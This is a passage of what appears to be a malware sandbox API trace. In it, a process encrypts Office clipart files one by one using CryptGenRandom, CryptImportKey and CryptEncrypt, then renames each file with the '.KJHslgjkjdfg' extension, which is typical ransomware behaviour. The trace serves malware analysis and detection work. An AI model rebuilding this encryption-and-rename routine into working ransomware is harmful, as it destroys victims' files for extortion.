CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.536] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.536] GetProcessHeap () returned 0x2a0000 [0184.536] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.536] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.536] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.536] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.536] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.536] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.536] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.537] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.537] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.537] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.537] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.537] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.537] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17742, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17742, lpOverlapped=0x0) returned 1 [0184.539] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17750, dwBufLen=0x17750 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17750) returned 1 [0184.540] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.540] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17750, lpOverlapped=0x0) returned 1 [0184.541] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.541] SetEndOfFile (hFile=0x114) returned 1 [0184.544] GetProcessHeap () returned 0x2a0000 [0184.545] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.545] GetProcessHeap () returned 0x2a0000 [0184.545] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.kjhslgjkjdfg")) returned 1 [0184.547] CloseHandle (hObject=0x114) returned 1 [0184.547] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2645, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JAVA_01.MID", cAlternateFileName="")) returned 1 [0184.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.548] GetProcessHeap () returned 0x2a0000 [0184.548] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.548] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.548] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.548] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0184.553] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.553] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.553] GetProcessHeap () returned 0x2a0000 [0184.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.553] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.553] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.553] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.553] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.553] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.553] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.553] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.554] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.554] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.554] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.554] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.554] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2645, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2645, lpOverlapped=0x0) returned 1 [0184.555] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2650, dwBufLen=0x2650 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2650) returned 1 [0184.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.555] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2650, lpOverlapped=0x0) returned 1 [0184.555] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.555] SetEndOfFile (hFile=0x114) returned 1 [0184.558] GetProcessHeap () returned 0x2a0000 [0184.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.558] GetProcessHeap () returned 0x2a0000 [0184.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.kjhslgjkjdfg")) returned 1 [0184.561] CloseHandle (hObject=0x114) returned 1 [0184.561] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JNGLE_01.MID", cAlternateFileName="")) returned 1 [0184.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.562] GetProcessHeap () returned 0x2a0000 [0184.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.562] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.562] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0184.565] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.565] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.565] GetProcessHeap () returned 0x2a0000 [0184.565] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.565] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.565] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.565] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.565] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.565] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.565] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.565] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.566] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.566] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.566] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.566] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16d3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16d3, lpOverlapped=0x0) returned 1 [0184.567] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16e0, dwBufLen=0x16e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16e0) returned 1 [0184.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.567] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16e0, lpOverlapped=0x0) returned 1 [0184.567] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.567] SetEndOfFile (hFile=0x114) returned 1 [0184.570] GetProcessHeap () returned 0x2a0000 [0184.570] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.570] GetProcessHeap () returned 0x2a0000 [0184.570] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.570] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.kjhslgjkjdfg")) returned 1 [0184.572] CloseHandle (hObject=0x114) returned 1 [0184.572] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x968b8700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x968b8700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MP00021_.WMF", cAlternateFileName="")) returned 1 [0184.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.574] GetProcessHeap () returned 0x2a0000 [0184.574] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.574] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.574] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.574] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0184.576] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.576] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.576] GetProcessHeap () returned 0x2a0000 [0184.576] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.576] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.576] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.576] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.576] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.577] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.577] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.577] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.577] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.577] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.577] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15f6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15f6, lpOverlapped=0x0) returned 1 [0184.578] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600, dwBufLen=0x1600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600) returned 1 [0184.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.578] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1600, lpOverlapped=0x0) returned 1 [0184.578] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.579] SetEndOfFile (hFile=0x114) returned 1 [0184.581] GetProcessHeap () returned 0x2a0000 [0184.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.581] GetProcessHeap () returned 0x2a0000 [0184.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.581] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.kjhslgjkjdfg")) returned 1 [0184.583] CloseHandle (hObject=0x114) returned 1 [0184.583] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19acdd00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19acdd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MP00132_.WMF", cAlternateFileName="")) returned 1 [0184.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.584] GetProcessHeap () returned 0x2a0000 [0184.584] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.584] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.584] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.584] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.584] GetProcessHeap () returned 0x2a0000 [0184.584] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.584] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.584] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.584] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.604] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.604] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.604] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 